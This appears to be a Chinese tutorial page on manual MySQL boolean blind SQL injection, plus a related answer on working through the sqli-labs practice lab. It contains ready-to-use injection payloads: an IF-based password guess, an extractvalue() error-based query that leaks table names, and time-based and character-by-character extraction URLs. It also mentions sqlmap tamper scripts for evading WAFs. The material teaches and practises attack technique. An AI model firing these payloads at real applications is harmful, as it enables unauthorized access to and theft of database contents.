mysql手工布尔盲注
时间: 2023-11-09 17:02:41 浏览: 91
布尔盲注是一种常见的SQL注入攻击方式,可以通过构造特定的SQL语句来获取数据库中的敏感信息。手工布尔盲注是指通过手动构造SQL语句来进行盲注攻击,而非使用自动化工具。
在MySQL中,可以使用IF函数来进行布尔盲注攻击。IF函数的语法如下:
IF(expr1,expr2,expr3)
如果expr1为真,则返回expr2,否则返回expr3。
例如,假设我们要获取数据库中名为“admin”的用户的密码,可以使用如下语句进行布尔盲注攻击:
SELECT IF((SELECT password FROM users WHERE username='admin')='123456', 'true', 'false')
如果返回结果为“true”,则说明密码为“123456”,否则密码不是“123456”。
相关问题
sqli-labs通关手工注入
### 关于sqli-labs的手工SQL注入技巧
#### 修改配置文件
对于sqli-labs环境设置,需先调整`WWW/sqli-labs/sql-connections/db-creds.inc`来适配本地MySQL数据库连接参数[^1]。
#### 利用手动技术进行SQL注入测试
##### HTTP头部注入实例
一种高级手法是在HTTP头中嵌入恶意载荷。例如利用`extractvalue()`函数触发报错型注入,构造如下payload:
```sql
extractvalue(1, concat('~',(select table_name from information_schema.tables where table_schema='security' limit 2,1))),')#
```
此语句尝试从information_schema库读取表名并造成XML解析异常从而泄露数据[^3]。
##### 使用条件查询实施布尔盲注
通过向应用程序发送特制请求,并观察响应差异推测后台执行逻辑真假情况。比如借助IF()结构配合其他辅助函数如ASCII(), SUBSTRING()等逐步猜解目标字段内容:
假设存在漏洞URL `http://example.com/vuln.php?id=1`
- 测试是否存在基于时间延迟的延时注入特性:
```bash
http://example.com/vuln.php?id=1 AND SLEEP(5)--+
```
- 枚举当前用户权限级别:
```bash
http://example.com/vuln.php?id=1 AND (SELECT IF((CURRENT_USER()='root@localhost'),BENCHMARK(1000000,ENCODE('A','by 5 seconds')),NULL))--+
```
- 获取特定字符串的第一个字符ASCII码值:
```bash
http://example.com/vuln.php?id=1 AND ASCII(SUBSTRING((SELECT user()),1,1))>97--+
```
上述操作均属于试探性质,在实际渗透测试活动中应当遵循合法授权范围内的安全研究行为准则[^4]。
#### 工具增强效率
虽然提倡手工实践以加深理解原理,但在某些场景下也可以适当引入自动化工具辅助分析过程。例如sqlmap提供了丰富的内置脚本支持绕过WAF防护机制等功能扩展,命令行选项`--tamper`允许加载自定义编码模块改变原始Payload形态以便更高效地完成任务[^2]。
阅读全文